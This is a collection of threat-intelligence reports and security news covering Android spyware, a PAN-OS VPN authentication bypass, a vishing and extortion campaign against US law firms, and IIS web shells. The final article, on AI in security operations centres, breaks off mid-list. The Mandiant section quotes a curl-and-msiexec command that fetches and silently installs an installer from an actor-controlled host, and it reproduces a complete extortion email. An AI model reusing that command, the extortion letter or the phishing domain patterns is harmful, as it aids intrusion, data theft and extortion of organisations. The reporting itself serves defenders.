Friday, June 5, 2026

Android Spyware Asin Targets Arabic Users via Fake News, PDF and War Map Apps

Arabic-speaking users have emerged as the target of a new Android spyware codenamed Asin, according to findings from ESET.

The Slovakian cybersecurity company said it first detected the malware spread via multiple campaigns in early 2025, with each attack wave making use of distinct websites mimicking utilities, war-related updates, and a government news source:

  • govlens[.]net, which impersonates a government news source (registered on May 27, 2025)
  • pdf-reader[.]help, which impersonates a secure PDF editor (registered on May 29, 2025)
  • live-war-map[.]com, which claims to offer updates on military incidents (registered on January 20, 2025)

Two of these websites - govlens[.]net and live-war-map[.]com - were also marketed via dedicated accounts on social media platforms like Facebook and Telegram -

  • www.facebook[.]com/GovLens
  • t[.]me/liveuamap_ar

"Each of these websites distributes a malicious app that combines legitimate functionality with stealthy spyware capabilities," ESET said.

The cybersecurity company noted that the Telegram channel's name is likely inspired by Live Universal Awareness Map (Liveuamap), a legitimate, well-known platform dedicated to mapping ongoing conflicts, human rights issues, natural disasters, and geopolitical events across the world.

Multiple artifacts associated with Asin have since been identified, including one uploaded to VirusTotal from Türkiye in October 2025, an APK downloaded from the domain "c-pdf[.]net" in December 2025 by a user on a Xiaomi Redmi Note 13 Pro device running Android 15, and a third sample masquerading as "Syria Defense Map" detected on a Xiaomi Redmi Note 13 Pro+ 5G devices running Android 15 in around mid-January 2026.

In the last case, the APK is said to have been downloaded from a website named "syriadefensemap[.]com." It's worth noting that the user is required to manually install the app and grant it the necessary permissions for the spyware to realize its goals.

The activity cluster, per ESET, remains unattributed. It's also not known what the primary objectives of these campaigns are. However, based on the lures used, it's suspected that journalists and OSINT researchers in Arabic-speaking regions may have been the target.

"Three out of the five fraudulent apps we unearthed - GovLens, WarMap, and Syria Defense Map - seem primarily intended for people interested in open-source investigation," the company said. "It thus seems possible that this set of activities may have been, at least partially, meant to target Arabic-speaking journalists or OSINT practitioners."



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Threat Brief: Active Exploitation of PAN-OS CVE-2026-0257

Palo Alto Networks Unit 42 has observed active exploitation of PAN-OS vulnerability CVE-2026-0257 by an unidentified threat actor attempting to access GlobalProtect. This security flaw involves an authentication bypass in the portal and gateway components of vulnerable versions of PAN-OS® software, which could allow unauthorized attackers to circumvent security controls and initiate VPN connections. This CVE was added to the Known Exploited Vulnerability (KEV) catalog on May 29.

No post-access behavior or lateral movement has been identified as of this time. Only a small portion of the probed devices actually established VPN sessions, resulting in gateway-connected events.

We advise organizations to proactively hunt for the indicators of the activity specified in this report and activate incident response protocols for any successful gateway-connected events linked to these indicators. Additionally, we strongly recommend reviewing the security advisory for CVE-2026-0257, following the available workarounds and mitigations or upgrading to a version that includes a fix for this issue.

For pre-Proof of Concept release (May 29, 2026) activities, search for these IP addresses in GlobalProtect logs to look for successful login connection:

  • 23.128.228[.]6
  • 104.207.144[.]154
  • 146.19.216[.]119
  • 146.19.216[.]120
  • 146.19.216[.]125
  • 179.43.172[.]213
  • 185.195.232[.]139
  • 198.12.106[.]60
  • 202.144.192[.]47

Search GlobalProtect logs for successful gateway-connected events from any IP address using suspicious host IDs or device names, including but not limited to:

  • aa:bb:cc:dd:ee:ff
  • 00:11:22:33:44:55
  • WINDOWS-LAPTOP-001
  • DESKTOP-GP01
  • GP-CLIENT

As part of post-PoC release monitoring, search GlobalProtect logs for successful gateway-connected events matching the following hard-coded client configuration values from the PoC code.

  • endpoint_os_version : Microsoft Windows 10 Pro 64-bit
  • source_user_info.domain : empty

We encourage organizations to consult the official Palo Alto Networks Security Advisory for additional details about the vulnerability, impacted products and configuration guidance. We also recommend reading Rapid7’s technical analysis about the exploitation activity they observed in the wild.

Palo Alto Networks Cortex Xpanse is able to identify publicly exposed PAN-OS gateways and GlobalProtect portals.

Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

We will update this threat brief as more relevant information becomes available.

The products listed below can help protect PANW customers against exploits targeting CVE-2026-0257.

Palo Alto Networks Product Protections for PAN-OS CVE-2026-0257

Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat.

If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 000 800 050 45107
  • South Korea: +82.080.467.8774

Cloud-Delivered Security Services for the Next-Generation Firewall

Advanced URL Filtering can identify known IP addresses associated with this activity as malicious.

Cortex AgentiX

Security analysts can use natural language to prompt the Cortex AgentiX Threat Intel agent to extract file indicators from this threat brief. They can then enrich them, check for sightings in their Cortex tenant and related alerts, and provide a quick summary of the impact to the organization.

Indicators of the Activity

IP Addresses

  • 23.128.228[.]6
  • 104.207.144[.]154
  • 146.19.216[.]119
  • 146.19.216[.]120
  • 146.19.216[.]125
  • 179.43.172[.]213
  • 185.195.232[.]139
  • 198.12.106[.]60
  • 202.144.192[.]47

Host Names and Mac Addresses

  • aa:bb:cc:dd:ee:ff
  • 00:11:22:33:44:55
  • WINDOWS-LAPTOP-001
  • DESKTOP-GP01
  • GP-CLIENT


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Seeking Counsel: Ongoing Targeted Campaign Against US Law Firms

Written by: Chad Reams, Tufail Ahmed, Keith Knapp, Ashley Frazer, Tyler McLellan


Introduction 

From January through May 2026, Mandiant identified a financially motivated data theft extortion campaign executed by the threat cluster UNC3753 (also tracked as "Luna Moth," “Chatty Spider,” and "Silent Ransom Group") targeting dozens of organizations across professional, legal, and financial services in the United States.

UNC3753 leverages voice phishing (vishing) and social engineering deception techniques to achieve remote access into corporate environments. Using pretexts such as data migration or invoice related emails, the threat actors initiate phone conversations posing as IT support and convince targets to host screen-sharing sessions and download remote monitoring and management (RMM) utilities. Once inside the environment, the threat actors either directly conduct searches to locate and exfiltrate highly sensitive data, or manipulate the victim into executing these actions on their behalf. This data typically includes proprietary legal agreements, personally identifiable information (PII), and financial records for subsequent extortion demands.

Notably, in instances possibly linked to UNC3753, threat actors have accessed victims' systems in person. In these physical incidents, individuals posing as IT technicians entered corporate offices to attempt direct exfiltration of data from an endpoint using USB storage media. 

This blog post details the threat group's technical lifecycle across recent Mandiant Consulting incident response engagements, highlights tactics like physical office targeting, and provides actionable recommendations to safeguard endpoints and infrastructure.

Threat Detail

The UNC3753 campaign lifecycle reflects an optimized, fast-tempo operational model. In many Mandiant investigated incidents, the entire attack sequence—from initial target contact to data theft and extortion—occurred within a single business day. Recently, Mandiant observed data searches, staging, and theft initiated in under an hour. 

The threat group frequently initializes campaigns using benign, invoice-themed email lures sent from actor-controlled consumer email accounts. These messages contain no active links or malicious attachments. Instead, they typically contain a brief, generic message for example: “hello, here is the invcoie we talked about yesterday”. Google Threat Intelligence Group (GTIG) assesses that the primary purpose of these emails is to establish a pretext, raising the target's internal security concerns so they are more susceptible to follow-up voice calls.

UNC3753 Attack Lifecycle

Figure 1: UNC3753 attack lifecycle

Initial Access via IT Helpdesk Impersonation

The core of UNC3753's entry mechanism relies on targeted vishing. Mandiant has observed the group targeting personnel across all seniority levels, who are often publicly listed on the organization’s websites, to harvest phone numbers and email addresses. Acting as members of the organization's internal IT helpdesk or security team, threat actors place direct calls to these employees. 

The callers use a variety of verbal instructions to guide target behavior. Under the guise of addressing a security issue or aiding with a corporate data migration project, they build trust and direct the target to join a screen-sharing session.

Remote Screen Control and Legitimate Tool Abuse

Once the target is engaged, the threat actors bypass conventional automated boundary security and email filtering controls by instructing the user to download and execute screen-sharing applications. 

Screen-Sharing Utilities

UNC3753 instructs targets to initiate remote desktop and support sessions using built-in or commercial services, including Zoom, Microsoft Terminal Services, Microsoft Teams, and Quick Assist. During a Teams-facilitated intrusion, the threat actor held five distinct calls with the same target over a three-day period.

Commercial RMM Agents

UNC3753 frequently attempts to establish more persistent access by social engineering targets into downloading AnyDesk, Bomgar, or Zoho Assist installers. In one engagement, the threat actor attempted to install a "SuperOps RMM agent" by convincing the target to download and execute a payload via a cURL command.

Message Delivery via Privnote

Threat actors consistently utilize privnote[.]com, a web-based, self-destructing text utility, to transmit installation links and commands to targets. This evasion technique ensures that copy-paste vectors leave no permanent footprint on endpoint browsers or chat logs.

Example cURL command staging string observed in UNC3753 remote sessions:

curl -sL "http://[actor-controlled-ip]/installer" -o "SuperOps.msi" && msiexec /i "SuperOps.msi" /quiet

Infrastructure Pivoting and Local Staging

Intrusions have abused Bring Your Own Device (BYOD) remote environments to access internal enterprise assets. In separate Mandiant Consulting cases, UNC3753 established Zoom sessions directly on targets' personal BYOD endpoints. Using these compromised personal laptops, they accessed corporate virtual desktop infrastructure (VDI) using native client platforms, such as Windows 365 (Windows365.exe) or Citrix clients. 

Once VDI environment access is secured, the threat actors pivot to corporate file systems:

  1. System Enumeration: The threat actors map local directories, enumerate active OneDrive folders, and crawl mapped network drives.

  2. Document Management Targeted Harvesting: Threat actors target specific legal and document storage repositories.

  3. Keyword Search and File Staging: Threat actors use specific keyword search functions within iManage to locate highly sensitive folders containing tax logs (Forms W-2, W-9, and 1099), audit files, corporate client agreements, and Social Security numbers (SSNs). Staged results are compiled and sorted within target-accessible subdirectories, primarily inside the user's Downloads folder or native Roaming profile path.

Data Theft

UNC3753 exfiltrates the staged data using a variety of methods to bypass security controls. They frequently use portable versions of WinSCP or Rclone. In other instances, they simply log into a threat actor-controlled consumer file sharing account directly within the victim's web browser and batch upload the stolen files.

  • Cloud Storage Staging: Threat actors instruct targets—or directly control their screens—to drag and drop staged folders into threat actor-controlled consumer file sharing accounts. In several intrusions, the exfiltration destination included folders explicitly renamed to mimic the victim organization's branding.

  • FTP Utilities: When browser-based uploads are restricted by endpoint controls, threat actors download FTP and SFTP client binaries, primarily WinSCP, to exfiltrate bulk packages. In one incident, the threat group exfiltrated 1.7 gigabytes of data from a target's local OneDrive folder to a Google Drive account before pivoting to a VDI session and exfiltrating an additional 14.4 gigabytes using WinSCP. Google has taken action against this actor by disabling the Drive accounts and assets associated with this activity.

  • Email Forwarding: The threat actors have also had victims stage files from internal iManage repositories and instructed them to send the files to threat actor-controlled consumer email addresses from the target's mailbox.

Threat Actor Extortion Tactics

The threat cluster delivers unbranded extortion communications via email shortly after successfully stealing data, often within 30 minutes of exiting the target environment. 

These highly aggressive extortion letters give organizations a three-day deadline to respond and initiate ransom negotiations. If the victim organization is unresponsive, the threat actors declare they will call and email target employees and external clients directly to alert them of the data breach. The extortion letters explicitly emphasize that the leak will compromise client trust, invite substantial regulatory fines, and suggest that external clients sue the victim organization for data mishandling. Additionally, as part of a follow-on message the group has threatened to publish all exfiltrated archives on the LEAKEDDATA data leak site (DLS).

Sample Extortion Email

Subject: [Victim Name] has lost confidential data of their clients. Very Important!

Hello,

We have to inform you that we got access to the [Victim Name] corporation's database and took a very large dataset. We have been in your network for weeks in multiple systems , aiming for proprietary and confidential files, and were able to obtain what We were looking for as well as the data of many clients. <mentions the general nature of the stolen documents>. This is not a joke or a scam.

This is a real problem that puts the existence of your firm in danger and to prove it We have attached screenshots that are confirming the possession of the files.

Reply to Our email and We will show you the complete file tree and actual files.

We are an elite group who's been in this business for a very long time, We have Our own website where We post the data and thousands of individuals follow Our work , and connections in different business social media. But, what's more important, is that We want to return your data peacefully and as soon as possible.

We will guarantee you the complete database deletion from Our servers, video evidence of us deleting the files, privacy of our communication and Our security advice with an explanation of how We got into your network and how to fix the vulnerability that We found.

In order for us to solve this problem you need to send us an email and start communicating with us. We hope to find a financial solution that will be acceptable for both parties.

In case of ignorance or no agreement, We will notify your employees, partners and customers, after which We will publish your data. You will receive claims from individuals, and legal entities for information leakage and breach of contracts, your current deals will be terminated. Journalists and others will dig into your documents, finding inconsistencies or violations in them. Your organization will lose its reputation, shares will fall in price, and your organization will be forced to close.

Let us remind you that your data can be used by many other hackers and criminals on the dark web as well as your competitors and enemies in case We leak the data.

Law enforcement will not help you, We are out of their jurisdiction, and We already took all the critical data. They will only tell you not to communicate with us and be the first ones to fine you.

As soon as you reach out, We will show you all the files that We obtained, so you can understand the seriousness of this problem and the necessity to proceed to the negotiations.

Our communication will stay 100% private before and after the agreement. We can show the proof of it as well.

All further communication can be done through this email address.

Do not waste any time as it is ticking . Text us today, so We don't have to start calling your employees tomorrow. You will have 3 days to start communicating.

Here We attached some screenshots confirming all the above. Respond to this email and We will send you the file tree.

Figure 2: UNC3753 extortion note example

Data Leak Site

LEAKEDDATA DLS (partially redacted; cropped)

Figure 3: LEAKEDDATA DLS (partially redacted; cropped)

Suspected UNC3753 Activity Involving Physical Access

While UNC3753 primarily relies on digital vectors, GTIG assesses that associated threat actors have also attempted direct data theft using physical, in person access. This escalating tactic is corroborated by a recent FBI Cyber FLASH Alert highlighting instances where Silent Ransom Group threat actors leveraged physical office access to exfiltrate corporate data via removable USB media.

According to the FBI advisory, if remote social engineering attempts fail, actors will send an individual to a victim's physical location. The onsite threat actor will claim they need to image the device or create local backups to address a security issue. Once they gain access to the endpoint, they attempt to exfiltrate corporate data directly to an external drive.

Although limited forensic evidence and the absence of a subsequent extortion attempt prevent formal attribution, GTIG assesses that these physical intrusions are likely associated with UNC3753 based on structural, timeline, and targeting overlaps.

Attribution

GTIG attributes this campaign and related social engineering operations to UNC3753 based on infrastructure overlaps, domain registrar tracking, victimology, and target staging directories. UNC3753 (aliases: "Luna Moth," “Chatty Spider,” and "Silent Ransom Group (SRG)") is a financially motivated threat cluster active since at least March 2022. UNC3753 has TTP overlaps with UNC2686, a threat cluster that conducted "Bazarcall" style campaigns dating to early 2021. UNC3753 deployed LOCKBIT.BLACK in 2022, but has since prioritized data theft extortion-only operations typically involving threats to post stolen files to the LEAKEDDATA DLS. The threat cluster relies heavily on Remote Monitoring and Management (RMM) tools, unlike UNC2686 which deployed BAZARLOADER variants as well as TRICKBOT, URSNIF, and SILENTNIGHT. Initially, UNC3753 used subscription-themed billing email lures (such as fake software renewal alerts), typically with PDF attachments containing phone numbers for actor-controlled call centers. Beginning around March 2025, the cluster shifted tactics to pose as internal corporate IT helpdesk staff.

Remediation and Hardening

To mitigate the risk of voice phishing, physical office intrusions, and unauthorized endpoint control, GTIG recommends that organizations implement the following mitigation controls:

User Education

Conduct user awareness training specifically tailored to UNC3753 tactics, techniques, and procedures.

Physical Access and Verification Policies

Implement rigid out-of-band identity verification controls for all external contractors, technical staff, and facilities visitors. Mandate the following physical controls:

  • Require visitors to display official credentials and photo identification.

  • Require front-desk staff to copy and log all physical visitor IDs before granting access.

  • Verify the arrival of all technicians against pre-scheduled work orders directly with the verified parent organization or helpdesk dispatcher.

  • Enforce a policy requiring physical technical service personnel to be escorted by a corporate supervisor at all times.

Remote Access Conditional Access Controls

Implement remote access conditional access policies to ensure only corporate owned devices can authenticate to Virtual Desktop Instance (VDI) or Virtual Private Network (VPN) devices. This facilitates increased organizational control and visibility for potential Remote Monitoring and Management usage. 

Enforce Strict RMM and Screen-Sharing Software Controls

Audit corporate environments to block the installation and execution of unauthorized remote monitoring, management, and support utilities. Enforce application control policies (e.g. Windows Defender Application Control or third-party endpoint protection tools) to restrict execution of non-approved binaries. Organizations may also consider restricting interactive screen-control features within authorized virtual meeting platforms like Zoom and Teams. 

Endpoint Removable Media Hardening

To neutralize physical exfiltration vectors, disable read/write capabilities for all external USB mass storage devices. Enforce Group Policy Objects (GPOs) or MDM configurations to restrict:

  • USB storage device installation.

  • Removable media access.

  • Optical media writes on all corporate endpoints and BYOD systems utilizing VDI entry.

Network Monitoring and Egress Control

Monitor firewall logs, network flows, and endpoint execution logs for indicative exfiltration and staging actions. Specifically:

  • Block or alert on outbound connections to unauthorized file-sharing APIs and emails.

  • Ensure full session logging with bytes transferred is enabled within Firewall log configurations.

  • Monitor SSH traffic (Port 22) from internal VDIs and endpoints for high-volume WinSCP and Rclone transfers.

Application Log and Access Auditing

Review authentication and access metrics for critical document stores to identify bulk harvesting profiles.

  • Configure real-time alerts in iManage, SharePoint, and corporate email directories for rapid file searches, search-term spikes, and mass file downloads.

  • Implement multi-factor authentication (MFA) on business critical data repository applications, such as iManage. 

  • Implement strict BYOD authentication controls, requiring MFA step-up queries when accessing VDI nodes.

Outlook and Implications

The targeting of US legal and professional services organizations by financially motivated actors is a persistent industry risk. Legal services firms represent high-value targets for extortion actors. They maintain concentrated repositories of extremely sensitive client transaction files, merger and acquisition plans, client trade secrets, and corporate regulatory reports. Threat groups recognize that legal entities are subject to heavy reputational and regulatory exposure and may be highly motivated to resolve extortion situations quietly to protect their professional standing.

Threat actors recognize that targeting the human element—specifically using voice-guided social engineering—enables them to easily bypass robust technical perimeters, web security gateways, and MFA configurations. 

Finally, the integration of in-person, physical intrusions represents an escalation in threat capability. While log-based defenses and endpoint telemetry have matured, physical corporate boundaries are frequently protected only by administrative procedures. Organizations must transition to a unified security posture that treats physical facility access control and endpoint-based hardware policies as equal components of their defensive perimeter.

Data Leak Site (DLS)

UNC3753 utilizes the following web platform to disclose the identities of victims and their compromised data.

  • hxxps[:]//business-data-leaks[.]com

Phishing Domains

GTIG identified infrastructure registrations by suspected UNC3753 actors utilizing specific naming conventions, assessed as supporting their ongoing social engineering and vishing activities.

  • <organization>-itdesk[.]com

  • <organization>-it[.]com

  • <organization>-helpdesk[.]com

Indicators of Compromise (IOCs) 

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

IOC Type

Indicator

IPv4 Address

192.236.147.131

IPv4 Address

192.236.147.138

IPv4 Address

193.141.60.212

IPv4 Address

192.236.154.158

IPv4 Address

192.236.146.173

IPv4 Address

174.169.162.62

IPv4 Address

64.94.84.97

Google Security Operations (SecOps)

Google SecOps customers have access to these broad category rules and more under the Mandiant Intel Emerging Threats rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:

  • Execute MSI Files Downloaded via Curl

  • Suspected Rclone Exfiltration

MITRE ATT&CK

Tactic

Technique ID

Technique Name

Initial Access

T1566.004

Phishing: Spearphishing Voice

T1133

External Remote Services

Execution

T1204.002

User Execution: Malicious File

T1059.001

Command and Scripting Interpreter: PowerShell

T1059.003

Command and Scripting Interpreter: Windows Command Shell

T1569.002

System Services: Service Execution

Persistence

T1053.005

Scheduled Task/Job: Scheduled Task

T1547.001

Boot or Logon Autostart Execution: Registry Run Keys

Defense Evasion

T1036.005

Masquerading: Match Legitimate Name or Location

T1553.002

Subvert Trust Controls: Code Signing

T1562.001

Impair Defenses: Disable or Modify Tools

T1070.001

Indicator Removal: Clear Windows Event Logs

Credential Access

T1003.001

OS Credential Dumping: LSASS Memory

T1003.002

OS Credential Dumping: Security Account Manager

Discovery

T1083

File and Directory Discovery

T1135

Network Share Discovery

T1046

Network Service Discovery

Lateral Movement

T1219

Remote Access Software

T1021.001

Remote Services: Remote Desktop Protocol

T1021.004

Remote Services: SSH

Collection

T1005

Data from Local System

Command & Control

T1572

Protocol Tunneling

Exfiltration

T1020

Automated Exfiltration

T1567.002

Exfiltration Over Web Service: Exfiltration to Cloud Storage

T1052.001

Exfiltration Over Physical Medium

Impact

T1486

Data Encrypted for Impact



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New Threat Cluster OP-512 Targets Microsoft IIS Servers with Custom Web Shell Framework

Cybersecurity researchers have discovered a previously unreported threat cluster dubbed OP-512 that has been observed targeting Microsoft Internet Information Services (IIS) servers to deploy a bespoke web shell framework.

ReliaQuest has assessed with moderate to high confidence that the espionage-focused activity is linked to China.

"OP-512 was highly likely conducting espionage through a compromised Internet Information Services (IIS) web server on an organization whose sector and geography align with China-linked intelligence priorities," the company said in a report shared with The Hacker News.

Although no overlaps have been found between OP-512 and other known China-aligned adversaries, it's the fourth such threat group after CL-STA-0048, DragonRank, and GhostRedirector to single out IIS web servers over the past 12 months. As recently as last month, Cisco Talos revealed that multiple Chinese-speaking cybercrime groups are sharing a variant of malware called BadIIS to infect IIS servers.

IIS servers have also been targeted by SHADOW-EARTH-053 as part of a new China-aligned espionage campaign targeting government and defense sectors across South, East, and Southeast Asia.

Central to the operations of OP-512 is a custom web shell framework consisting of three web shells that grant the attackers remote access to the compromised host, while taking steps to evade signature-based detection and complicate forensic timelines using techniques like timestomping to intentionally manipulate the timestamps when the web shell artifacts are created or modified.

Specifically, this entails scanning every file and sub-folder around where the web shells are placed, calculating the median last-modified timestamp, and overwriting their own creation and modification times to match that value, thus giving the impression that they have been present for some time.

"This framework combines capabilities we rarely see together: each deployment is uniquely generated, access is restricted to the attacker through cryptographic controls, and compromised servers automatically report back for centralized management at scale," ReliaQuest said.

OP-512 shares close tactical proximity to CL-STA-0048, which has raised the possibility that it either represents an existing cluster that has completely revamped its toolset or developed these capabilities independently on its own. Regardless of its origins, the hacking group is said to be a distinct cluster operating in an autonomous manner.

In the attack observed by the cybersecurity company, the threat actor has been found to target a legacy IIS server running Windows Server 2016 with end-of-life .NET Framework 4.0. There is evidence of prior activity on the same host, about 75 days before the main incident took place. This involved DNS queries to a different attacker-controlled domain ("ashx.lhlsjcb[.]com").

The sequence of actions that unfolded weeks later has been described as a "sprint," with the attacker using the web server's worker process ("w3wp.exe") to drop one of the web shells to the application's upload directory. This, in turn, triggers a self-reporting mechanism that uses a DNS query or an HTTP request as a fallback to transmit the web shell's location to an attacker-controlled domain.

"Together, the three web shells gave the attacker file management, authenticated command execution through two independent access paths, and automated reporting of the compromise, all before anyone had time to respond," ReliaQuest researchers explained.

With the web shells deployed, OP-512 is said to have attempted to escalate privileges to the SYSTEM level using the Potato Suite, followed by running commands like "whoami /priv" to confirm their system rights.

"Four China-linked clusters targeting the same technology in under a year is unlikely to be a coincidence," ReliaQuest said. "Internet-facing IIS servers running legacy, unsupported software remain a preferred entry point across this threat ecosystem and show no signs of slowing down."

"What should concern defenders most is what makes OP-512 different. This threat cluster isn't using commodity tooling and recycling it across campaigns. It's using a purpose-built framework designed to defeat the detection methods that work against the other three clusters. Organizations that have tuned their defenses to known actors are likely not covered here."



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The Good, the Bad and the Ugly in Cybersecurity – Week 23

The Good | Fraud Networks Disrupted, Crypto Exchanges Sanctioned & Doxer Arrested

This week, the DoJ’s Scam Center Strike Force unveiled results from “Disruption Week,” a first-of-its-kind joint initiative between U.S. agencies and private industry targeting cyber-enabled cryptocurrency investment fraud. Federal investigators from the FBI, Secret Service, and HSI shared threat intelligence with major technology firms including Apple, Google, and Meta in May.

Acting on that intelligence, the private sector participants voluntarily disrupted over 1.4 million social media and email accounts operated by transnational criminal networks in Southeast Asia, while also decommissioning servers and hosting infrastructure supporting their scam operations.

The initiative also resulted in the arrest of seven scammers in Thailand, with new cases opened by the Royal Thai Police Anti Cyber Scam Center. The government additionally shared information enabling firms to freeze over $3.8 million in cryptocurrency tied to laundering funds stolen from Americans.

In other news, the U.S. Treasury this week sanctioned Nobitex, Iran’s largest cryptocurrency exchange, for facilitating financial transactions linked to ransomware actors and terrorist operations. As part of the “Economic Fury” campaign, authorities designated multiple key executives alongside three additional Iranian trading platforms.

Investigators revealed that Nobitex systematically processed over half of the nation’s digital asset inflow in 2025, directly assisting the Islamic Revolutionary Guard Corps in broad sanctions evasion. The new sanction mandates the immediate freezing of all associated assets falling under U.S. jurisdiction, and prohibits U.S. citizens from doing any business with all named crypto exchanges.

The exchanges did business with many previously-sanctioned Iranian entities and proxies (Source: Chainanalysis)

Elsewhere, Spanish National Police have arrested an individual in connection to a data leak that exposed sensitive information from several critical government organizations. The records contained personal details of employees from the National Cybersecurity Institute, the National Police, the Civil Guard, and the State Attorney General’s Office.

The arrested individual allegedly published the personal data across various internet portals, prompting an immediate investigation into its distribution. While the leak created significant security risks, findings suggest that the aggregated data likely originated from historical credential dumps rather than direct system compromises.

The Bad | China-Based Actor TA4922 Expands Phishing Campaigns to Europe and Africa

A China-linked cybercrime syndicate tracked as TA4922 is actively expanding its phishing campaigns to target organizations across multiple regions. New research finds that the financially-motivated group, historically focused on East Asian networks, has now hit entities in Germany, Italy, South Africa, and the U.K.

TA4922 is known to share overlapping tradecraft with the Silver Fox espionage group but primarily pursues financial objectives, including massive data theft, corporate fraud, and persistent network access and its resale.

In recent months, attackers breached enterprise perimeters by launching credential phishing campaigns using human resources, corporate taxation, and invoice-themed lures.

During intrusions, TA4922 attempts to shift victim communications away from monitored email platforms onto out-of-band messaging channels like WhatsApp, LINE, and Microsoft Teams. The actor is also known to use DLL side-loading techniques to silently deploy remote access trojans like ValleyRAT and Atlas RAT, alongside tools such as RomulusLoader and SilentRunLoader.

Phishing lure impersonating U.K. government tax authority HMRC (Source: Proofpoint)

These advanced loaders drop secondary executables designed to harvest sensitive corporate data, specifically targeting Google Chrome to exfiltrate stored credentials, cookies, and browsing information.

Researchers warn that although TA4922 prioritizes illicit financial gain, its capabilities facilitate deep network surveillance, creating risks that stolen access could be sold directly to espionage groups.

The Ugly | Cyberattackers Exploit Palo Alto VPN Authentication Bypass Vulnerability

Threat actors are actively exploiting a high severity (CVSSv4: 7.8) authentication bypass vulnerability, tracked as CVE-2026-0257 in PAN-OS GlobalProtect portals and gateways. The flaw allows attackers to bypass security restrictions and establish unauthorized VPN connections.

Cyber researchers observed initial in-the-wild exploitation against numerous PAN-OS users beginning on May 17, with successive attack waves originating from infrastructure hosted by Vultr and Dromatics Systems.

The vulnerability stems from an improper validation process regarding authentication override cookies. When PAN-OS decrypts these cookies, it automatically trusts the contents without performing essential signature verification. The issue manifests when administrators configure the system to use the same certificate for both HTTPS services and authentication overrides.

Threat actors are then able to initiate an HTTPS session to retrieve the corresponding public key, which they use to generate a forged authentication cookie, allowing attackers to authenticate without valid credentials. In several incidents, attackers secured full VPN IP assignments, granting them direct access to internal networks.

CISA has subsequently added the vulnerability to its Known Exploited Vulnerabilities catalog.

Palo Alto Networks advisory lists available patches and workarounds.



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Only 10% of SOCs Say They’re Getting Excellent Value From AI. Here’s What the Second Wave Has to Deliver

Eighteen months ago, the AI SOC was a marketing line. Today it's a budget item. The category has crossed over from interesting to inevitable, with billions of dollars now flowing into AI-powered security operations platforms, agentic SOC tools, and AI co-pilots built into every layer of the security stack. The data shows SOCs are buying, deploying, and standing up AI capabilities at the fastest pace the industry has ever seen.

And yet, the same SOCs reporting record AI adoption are reporting underwhelming outcomes. The first objective benchmark on the value of AI in the SOC was published in the SOC-CMM 2026 Maturity Report in May, drawing on survey data collected from roughly 200 SOCs across regions, sectors, and delivery models between late January and mid-March 2026. Only about 10% of respondents said AI has delivered excellent value to their SOC. About 19% reported good value. The remaining 71% landed at some value or none at all.

Eighteen months into AI deployment, that's a structural signal. What follows is a read on what the data confirms, and on what the next wave of AI in security operations must deliver if the industry is going to close the gap.

What the SOC-CMM 2026 data shows

Three findings stand out in the SOC-CMM report's AI section, and they correlate cleanly with each other once they are read together.

First, adoption is up across every category of AI used inside the SOC. Off-the-shelf large language models grew 55% year over year. AI co-pilots grew 145%. AI agents grew 118%. Supervised machine learning grew 96%. Customized LLMs grew 64%. SOC teams are over-investing in AI without the operational maturity to extract value from what they bought.

Second, the dominant adoption pattern is what the report calls the taker model: off-the-shelf AI deployed inside an existing security stack without customization. About 65% of SOCs surveyed describe themselves as takers. Another 20% are shapers, customizing what they buy. Only 15% are builders, training models against their own data. The takers are the largest cohort and the cohort reporting the least value. Across hybrid SOCs, in-house SOCs, and MSSP SOCs, the perceived value distribution is nearly identical. That uniformity is the tell. The pattern cuts across delivery model, region, and sector. The cause is structural.

Third, the report flags that the two SOC improvement challenges that grew year over year are lack of best practices (+17%) and complexity of increasing maturity (+11%). Every other challenge category, including lack of budget and lack of management support, dropped. SOCs aren't telling the survey they don't have money or executive support. They're telling the survey they don't know what they're supposed to be doing with the AI they bought. That is the AI maturity gap in one data point.

Why the first wave of AI in the SOC underperformed

The first wave of AI SOC tools shipped as features bolted onto existing security products. SIEMs got AI triage. EDRs got AI investigation. SOAR platforms got AI playbook generation. Ticketing tools got AI summarization. Each feature was real. Each one worked in isolation. None of them shared context with the next.

What that means in practice is that SOC analysts now have five AI assistants instead of one. The triage agent in the SIEM does not know what the detection engineer silenced last week. The threat hunting agent in the EDR does not know what the threat intel team flagged that morning. The summarization agent in the ticketing tool does not know what the investigation surfaced two hops ago. Each agent accelerates its own slice of the workflow. None of them fixes the handoffs between slices, which is where most SOC time and most SOC value live.

SOC operators describe this pattern in conversations across the industry. They describe faster individual tasks and the same fragmented workflow. They describe being asked to learn five new agent interfaces while the core problem, which is that the SOC operates as a chain of disconnected stages, didn't move at all. The AI accelerated each silo without connecting them.

The SOC-CMM 2026 report puts numbers on this dynamic too. The technology domain is again the highest-scoring maturity domain across the dataset, at an average of 2.7 out of 5. The process domain, where the handoffs between SOC stages live, scores 2.3. The people domain, where the institutional knowledge and decision-making capacity live, scores 2.3 as well. Buying more tools, including AI ones, does not move those numbers. In some SOCs it makes them worse, because each new tool adds a handoff.

What's different about the SOCs that report excellent value

The 10% of SOCs reporting excellent value from AI are not running different point tools. They're running AI inside a different architectural structure. Three things separate them from the 71%.

  1. AI that operates across the SOC lifecycle, not inside one stage of it. Threat intelligence, threat hunting, detection, investigation, and remediation are five stages of one workflow. When agents operate across all five stages and feed each other context, the SOC compounds. Every closed investigation calibrates the next detection. Every threat hunt result updates the next intel cycle. Every remediation feeds back into the playbook the next agent uses. The connected fabric is what produces sustained value. The SOCs reporting excellent value tend to have AI architectures that look like fabric. The SOCs reporting good value tend to have stacks of features.
